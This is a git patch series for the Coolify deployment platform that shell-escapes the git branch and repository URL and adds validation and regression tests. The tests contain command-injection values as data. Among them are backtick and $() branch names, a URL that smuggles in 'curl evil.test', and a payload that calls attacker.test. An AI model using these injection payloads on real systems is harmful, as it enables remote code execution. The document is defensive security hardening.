From 5e4873322e2c7358d249888fe6b55bb0ba76d324 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Mon, 1 Jun 2026 15:15:38 +0200 Subject: [PATCH 1/2] chore: improve deployment input handling --- app/Jobs/ApplicationDeploymentJob.php | 17 +++- bootstrap/helpers/api.php | 30 +++--- .../Feature/CommandInjectionSecurityTest.php | 96 +++++++++++++++++++ 3 files changed, 126 insertions(+), 17 deletions(-) diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index 2edc08235..094eeb249 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -2232,11 +2232,22 @@ private function set_coolify_variables() } } if (isset($this->application->git_branch)) { - $this->coolify_variables .= "COOLIFY_BRANCH={$this->application->git_branch} "; + $this->coolify_variables .= 'COOLIFY_BRANCH='.escapeShellValue($this->application->git_branch).' '; } $this->coolify_variables .= "COOLIFY_RESOURCE_UUID={$this->application->uuid} "; } + private function gitLsRemoteCommand(string $lsRemoteRef, ?string $identityFile = null): string + { + $sshCommand = "ssh -o ConnectTimeout=30 -p {$this->customPort} -o Port={$this->customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null"; + + if ($identityFile !== null) { + $sshCommand .= " -i {$identityFile}"; + } + + return 'GIT_SSH_COMMAND="'.$sshCommand.'" git ls-remote '.escapeshellarg($this->fullRepoUrl).' '.escapeshellarg($lsRemoteRef); + } + private function check_git_if_build_needed() { if (is_object($this->source) && $this->source->getMorphClass() === GithubApp::class && $this->source->is_public === false) { @@ -2282,7 +2293,7 @@ private function check_git_if_build_needed() executeInDocker($this->deployment_uuid, 'chmod 600 /root/.ssh/id_rsa'), ], [ - executeInDocker($this->deployment_uuid, "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$this->customPort} -o Port={$this->customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa\" git ls-remote {$this->fullRepoUrl} {$lsRemoteRef}"), + executeInDocker($this->deployment_uuid, $this->gitLsRemoteCommand($lsRemoteRef, '/root/.ssh/id_rsa')), 'hidden' => true, 'save' => 'git_commit_sha', ] @@ -2290,7 +2301,7 @@ private function check_git_if_build_needed() } else { $this->execute_remote_command( [ - executeInDocker($this->deployment_uuid, "GIT_SSH_COMMAND=\"ssh -o ConnectTimeout=30 -p {$this->customPort} -o Port={$this->customPort} -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null\" git ls-remote {$this->fullRepoUrl} {$lsRemoteRef}"), + executeInDocker($this->deployment_uuid, $this->gitLsRemoteCommand($lsRemoteRef)), 'hidden' => true, 'save' => 'git_commit_sha', ], diff --git a/bootstrap/helpers/api.php b/bootstrap/helpers/api.php index 4b76200d2..47cca8519 100644 --- a/bootstrap/helpers/api.php +++ b/bootstrap/helpers/api.php @@ -3,6 +3,8 @@ use App\Enums\BuildPackTypes; use App\Enums\RedirectTypes; use App\Enums\StaticImageTypes; +use App\Rules\ValidGitBranch; +use App\Support\ValidationPatterns; use Illuminate\Database\Eloquent\Collection; use Illuminate\Http\Request; use Illuminate\Validation\Rule; @@ -83,7 +85,7 @@ function sharedDataApplications() { return [ 'git_repository' => 'string', - 'git_branch' => 'string', + 'git_branch' => ['string', new ValidGitBranch], 'build_pack' => Rule::enum(BuildPackTypes::class), 'is_static' => 'boolean', 'is_spa' => 'boolean', @@ -95,14 +97,14 @@ function sharedDataApplications() 'git_commit_sha' => ['string', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'], 'docker_registry_image_name' => 'string|nullable', 'docker_registry_image_tag' => 'string|nullable', - 'install_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(), - 'build_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(), - 'start_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(), + 'install_command' => ValidationPatterns::shellSafeCommandRules(), + 'build_command' => ValidationPatterns::shellSafeCommandRules(), + 'start_command' => ValidationPatterns::shellSafeCommandRules(), 'ports_exposes' => 'string|regex:/^(\d+)(,\d+)*$/', 'ports_mappings' => 'string|regex:/^(\d+:\d+)(,\d+:\d+)*$/|nullable', 'custom_network_aliases' => 'string|nullable', - 'base_directory' => \App\Support\ValidationPatterns::directoryPathRules(), - 'publish_directory' => \App\Support\ValidationPatterns::directoryPathRules(), + 'base_directory' => ValidationPatterns::directoryPathRules(), + 'publish_directory' => ValidationPatterns::directoryPathRules(), 'health_check_enabled' => 'boolean', 'health_check_type' => 'string|in:http,cmd', 'health_check_command' => ['nullable', 'string', 'max:1000', 'regex:/^[a-zA-Z0-9 \-_.\/:=@,+]+$/'], @@ -125,24 +127,24 @@ function sharedDataApplications() 'limits_cpuset' => 'string|nullable', 'limits_cpu_shares' => 'numeric', 'custom_labels' => 'string|nullable', - 'custom_docker_run_options' => \App\Support\ValidationPatterns::shellSafeCommandRules(2000), + 'custom_docker_run_options' => ValidationPatterns::shellSafeCommandRules(2000), // Security: deployment commands are intentionally arbitrary shell (e.g. "php artisan migrate"). // Access is gated by API token authentication. Commands run inside the app container, not the host. 'post_deployment_command' => 'string|nullable', - 'post_deployment_command_container' => \App\Support\ValidationPatterns::containerNameRules(), + 'post_deployment_command_container' => ValidationPatterns::containerNameRules(), 'pre_deployment_command' => 'string|nullable', - 'pre_deployment_command_container' => \App\Support\ValidationPatterns::containerNameRules(), + 'pre_deployment_command_container' => ValidationPatterns::containerNameRules(), 'manual_webhook_secret_github' => 'string|nullable', 'manual_webhook_secret_gitlab' => 'string|nullable', 'manual_webhook_secret_bitbucket' => 'string|nullable', 'manual_webhook_secret_gitea' => 'string|nullable', - 'dockerfile_location' => \App\Support\ValidationPatterns::filePathRules(), - 'dockerfile_target_build' => \App\Support\ValidationPatterns::dockerTargetRules(), - 'docker_compose_location' => \App\Support\ValidationPatterns::filePathRules(), + 'dockerfile_location' => ValidationPatterns::filePathRules(), + 'dockerfile_target_build' => ValidationPatterns::dockerTargetRules(), + 'docker_compose_location' => ValidationPatterns::filePathRules(), 'docker_compose' => 'string|nullable', 'docker_compose_domains' => 'array|nullable', - 'docker_compose_custom_start_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(), - 'docker_compose_custom_build_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(), + 'docker_compose_custom_start_command' => ValidationPatterns::shellSafeCommandRules(), + 'docker_compose_custom_build_command' => ValidationPatterns::shellSafeCommandRules(), 'is_container_label_escape_enabled' => 'boolean', 'is_preserve_repository_enabled' => 'boolean', ]; diff --git a/tests/Feature/CommandInjectionSecurityTest.php b/tests/Feature/CommandInjectionSecurityTest.php index d42a8490a..a450aa919 100644 --- a/tests/Feature/CommandInjectionSecurityTest.php +++ b/tests/Feature/CommandInjectionSecurityTest.php @@ -1,6 +1,8 @@ $branch], + ['git_branch' => $rules['git_branch']] + ); + + expect($validator->fails())->toBeTrue(); + })->with([ + 'backtick command substitution' => 'main`id`', + 'dollar command substitution' => 'main$(id)', + 'semicolon command separator' => 'main;id', + 'ifs shell expansion' => 'main${IFS}id', + 'space separator' => 'main branch', + ]); + + test('git_branch validation allows safe branch names', function (string $branch) { + $rules = sharedDataApplications(); + + $validator = validator( + ['git_branch' => $branch], + ['git_branch' => $rules['git_branch']] + ); + + expect($validator->fails())->toBeFalse(); + })->with([ + 'main', + 'feature/safe-branch', + 'release_2026.06', + ]); + test('dockerfile_location validation rejects shell metacharacters', function () { $rules = sharedDataApplications(); @@ -183,6 +217,68 @@ }); }); +describe('deployment git command escaping', function () { + test('ls-remote command shell-quotes repository and ref arguments', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $instance = $job->newInstanceWithoutConstructor(); + + foreach ([ + 'customPort' => 22, + 'fullRepoUrl' => "git@example.com:org/repo.git'; curl evil.test; #", + ] as $property => $value) { + $reflectionProperty = $job->getProperty($property); + $reflectionProperty->setAccessible(true); + $reflectionProperty->setValue($instance, $value); + } + + $method = $job->getMethod('gitLsRemoteCommand'); + $method->setAccessible(true); + + $command = $method->invoke($instance, 'refs/heads/main`id`', '/root/.ssh/id_rsa'); + + expect($command) + ->toContain("git ls-remote 'git@example.com:org/repo.git'\\''; curl evil.test; #' 'refs/heads/main`id`'") + ->toContain('-i /root/.ssh/id_rsa') + ->not->toContain('repo.git; curl'); + }); + + test('coolify branch shell assignment is quoted', function () { + $job = new ReflectionClass(ApplicationDeploymentJob::class); + $instance = $job->newInstanceWithoutConstructor(); + + $application = new Application; + $application->uuid = 'app-uuid'; + $application->git_branch = 'main`id`'; + $application->fqdn = null; + $application->compose_parsing_version = '3'; + + $settings = new ApplicationSetting; + $settings->include_source_commit_in_build = false; + $application->setRelation('settings', $settings); + + foreach ([ + 'application' => $application, + 'commit' => 'HEAD', + 'pull_request_id' => 0, + ] as $property => $value) { + $reflectionProperty = $job->getProperty($property); + $reflectionProperty->setAccessible(true); + $reflectionProperty->setValue($instance, $value); + } + + $method = $job->getMethod('set_coolify_variables'); + $method->setAccessible(true); + $method->invoke($instance); + + $coolifyVariables = $job->getProperty('coolify_variables'); + $coolifyVariables->setAccessible(true); + + expect($coolifyVariables->getValue($instance)) + ->toContain("COOLIFY_BRANCH='main`id`' ") + ->toContain('COOLIFY_RESOURCE_UUID=app-uuid '); + }); +}); + describe('sharedDataApplications rules survive array_merge in controller', function () { test('docker_compose_location safe regex is not overridden by local rules', function () { $sharedRules = sharedDataApplications(); From 47682a3085699213bde02fbf7275b2fcf3bbf90b Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Tue, 2 Jun 2026 11:41:24 +0200 Subject: [PATCH 2/2] fix(db): skip postgres tuning outside pgsql Guard the fillfactor/autovacuum migration on non-Postgres connections. Add API regression coverage for command-substitution git_branch payloads. --- ...une_postgres_fillfactor_and_autovacuum.php | 8 ++ .../Api/ApplicationGitBranchSecurityTest.php | 89 +++++++++++++++++++ 2 files changed, 97 insertions(+) create mode 100644 tests/Feature/Api/ApplicationGitBranchSecurityTest.php diff --git a/database/migrations/2026_05_27_000001_tune_postgres_fillfactor_and_autovacuum.php b/database/migrations/2026_05_27_000001_tune_postgres_fillfactor_and_autovacuum.php index d8bb9b625..a90723633 100644 --- a/database/migrations/2026_05_27_000001_tune_postgres_fillfactor_and_autovacuum.php +++ b/database/migrations/2026_05_27_000001_tune_postgres_fillfactor_and_autovacuum.php @@ -7,6 +7,10 @@ { public function up(): void { + if (DB::connection()->getDriverName() !== 'pgsql') { + return; + } + // Fillfactor < 100 leaves free space per page so Postgres can do HOT // (Heap-Only Tuple) in-place updates instead of allocating a new tuple // elsewhere. Coolify's hot-update tables churn rows on every Sentinel @@ -40,6 +44,10 @@ public function up(): void public function down(): void { + if (DB::connection()->getDriverName() !== 'pgsql') { + return; + } + DB::statement('ALTER TABLE applications RESET (fillfactor, autovacuum_vacuum_scale_factor)'); DB::statement('ALTER TABLE servers RESET (fillfactor, autovacuum_vacuum_scale_factor)'); DB::statement('ALTER TABLE services RESET (fillfactor)'); diff --git a/tests/Feature/Api/ApplicationGitBranchSecurityTest.php b/tests/Feature/Api/ApplicationGitBranchSecurityTest.php new file mode 100644 index 000000000..58bd6b5c0 --- /dev/null +++ b/tests/Feature/Api/ApplicationGitBranchSecurityTest.php @@ -0,0 +1,89 @@ + InstanceSettings::firstOrCreate(['id' => 0])); + + $this->team = Team::factory()->create(); + $this->user = User::factory()->create(); + $this->team->members()->attach($this->user->id, ['role' => 'owner']); + session(['currentTeam' => $this->team]); + + $plainTextToken = Str::random(40); + $token = $this->user->tokens()->create([ + 'name' => 'git-branch-security-test-'.Str::random(6), + 'token' => hash('sha256', $plainTextToken), + 'abilities' => ['*'], + 'team_id' => $this->team->id, + ]); + $this->bearerToken = $token->getKey().'|'.$plainTextToken; + + $this->server = Server::factory()->create(['team_id' => $this->team->id]); + + StandaloneDocker::withoutEvents(function () { + $this->destination = $this->server->standaloneDockers()->firstOrCreate( + ['network' => 'coolify'], + ['uuid' => (string) new Cuid2, 'name' => 'test-docker'] + ); + }); + + $this->project = Project::create([ + 'uuid' => (string) new Cuid2, + 'name' => 'test-project', + 'team_id' => $this->team->id, + ]); + $this->environment = $this->project->environments()->first(); + $this->application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $this->destination->id, + 'destination_type' => $this->destination->getMorphClass(), + 'git_branch' => 'main', + ]); +}); + +function gitBranchApiHeaders(string $bearerToken): array +{ + return [ + 'Authorization' => 'Bearer '.$bearerToken, + 'Content-Type' => 'application/json', + ]; +} + +describe('PATCH /api/v1/applications/{uuid} git_branch security', function () { + test('rejects backtick command substitution branch payloads', function () { + $payload = 'main`curl${IFS}attacker.test/coolify-rce-`id${IFS}-u``'; + + $response = $this->withHeaders(gitBranchApiHeaders($this->bearerToken)) + ->patchJson("/api/v1/applications/{$this->application->uuid}", [ + 'git_branch' => $payload, + ]); + + $response->assertUnprocessable() + ->assertJsonValidationErrors('git_branch'); + + expect($this->application->refresh()->git_branch)->toBe('main'); + }); + + test('accepts safe branch names', function () { + $response = $this->withHeaders(gitBranchApiHeaders($this->bearerToken)) + ->patchJson("/api/v1/applications/{$this->application->uuid}", [ + 'git_branch' => 'feature/safe-branch_1.2.3', + ]); + + $response->assertOk(); + + expect($this->application->refresh()->git_branch)->toBe('feature/safe-branch_1.2.3'); + }); +});